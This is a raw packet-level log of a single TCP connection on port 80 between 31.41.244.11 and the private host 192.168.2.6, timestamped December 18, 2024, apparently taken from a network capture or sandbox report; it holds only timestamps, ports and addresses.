Dec 18, 2024 11:47:16.762572050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.762671947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.762710094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.762756109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.763866901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.763917923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.764220953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.764273882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.764983892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.765086889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.765166044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.765336037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.766128063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.766139984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.766181946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.766192913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.767692089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.767745018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.768055916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.769128084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.769140959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.769176006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.769202948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.769871950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.769882917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.769932032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.771234989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.771246910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.771290064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.772130966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.772183895 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.772305965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.772449017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.773268938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.773283958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.773329973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.773329973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.774290085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.774331093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.774601936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.774640083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.775527000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.775568962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.775691986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.776784897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.776830912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.776952982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.777179956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.906656027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.906742096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.906851053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.907274961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.907393932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.907443047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.908390045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.908442020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.908503056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.909687042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.909744978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.909985065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.910104036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.910151005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.911236048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.911348104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.911396980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.912403107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.912590981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.912641048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.913479090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.913530111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.913587093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.914630890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.914678097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.914757967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.915882111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.915940046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.916001081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.916043997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.916963100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.917177916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.917227983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.918127060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.918235064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.918299913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.919421911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.919477940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.919625044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.920243025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.920607090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.920645952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.920747042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.920787096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.921633959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.921751976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.921802998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.922825098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.922996044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.923046112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.924046993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.924088001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.924144030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.924295902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.925237894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.925281048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.925311089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.925348043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.926415920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.926614046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.926660061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.927506924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.927567005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.927609921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.928769112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.928893089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.928937912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.929842949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.929886103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.929944038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.931016922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.931067944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.931134939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.932209969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.932260990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.932404041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.933507919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.933562040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.933564901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.933608055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.934530973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.934623003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.934686899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.935710907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.935893059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.935951948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.936923981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.936990976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.937036037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.938159943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.938215971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.938271046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.939229965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.939273119 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.939380884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.940275908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.940373898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.940479994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.940526962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.941554070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.941772938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.941822052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.942748070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.942792892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.942851067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.943975925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.944016933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.944042921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.944554090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.945053101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.945153952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.945221901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.946265936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.946304083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.946319103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.946336031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.947452068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.947501898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.947550058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.947588921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.948628902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.948683023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.948779106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.948826075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.949922085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.949966908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.950002909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.950305939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.951008081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.951054096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.951200008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.951244116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.952095032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.952137947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.952344894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.952383041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.953318119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.953360081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.953424931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.953461885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.954530954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.954572916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.954591036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.954629898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.955578089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.955621958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.955755949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.955802917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.956835985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.956887007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.956948042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.956989050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.957967043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.958015919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.958152056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.958209991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.959151983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.959193945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.959275961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.959321976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.960470915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.960524082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.960690975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.960735083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.961466074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.961527109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.961581945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.962768078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.962821960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.962882042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.962930918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.963816881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.963867903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.963908911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.964013100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.965058088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.965101004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.965243101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.965311050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.966173887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.966222048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.966284990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.966331959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.967329979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.967372894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.967417002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.967417002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.107400894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.107456923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.107467890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.107496977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.107589960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.107630968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.107696056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.107733965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.108783007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.108805895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.108824968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.108838081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.109941006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.109961987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.109980106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.109996080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.110814095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.110855103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.110997915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.111036062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.111991882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.112032890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.112173080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.112211943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.113262892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.113301992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.113311052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.113346100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.114320040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.114358902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.114414930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.114451885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.115529060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.115573883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.115647078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.115684986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.116717100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.116755009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.116813898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.116852045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.117837906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.117918968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.117989063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.119016886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.119096994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.119155884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.120174885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.120255947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.120294094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.120342970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.121330976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.121368885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.121428013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.121465921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.122503996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.122545004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.122594118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.122632027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.123675108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.123713970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.123800039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.123840094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.124839067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.124878883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.124938965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.124974966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.126214981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.126254082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.126338005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.126377106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.127603054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.127645969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.127671957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.127707958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.128380060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.128420115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.128479004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.128515005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.129529953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.129568100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.129627943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.129664898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.130697966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.130736113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.130794048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.130829096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.131912947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.131952047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.132025003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.132059097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.133114100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.133227110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.133317947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.134213924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.134330988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.134385109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.135376930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.135565996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.135616064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.136588097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.136704922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.136750937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.137784958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.137888908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.137928963 CET	49806	80	192.168.2.6	31.41.244.11
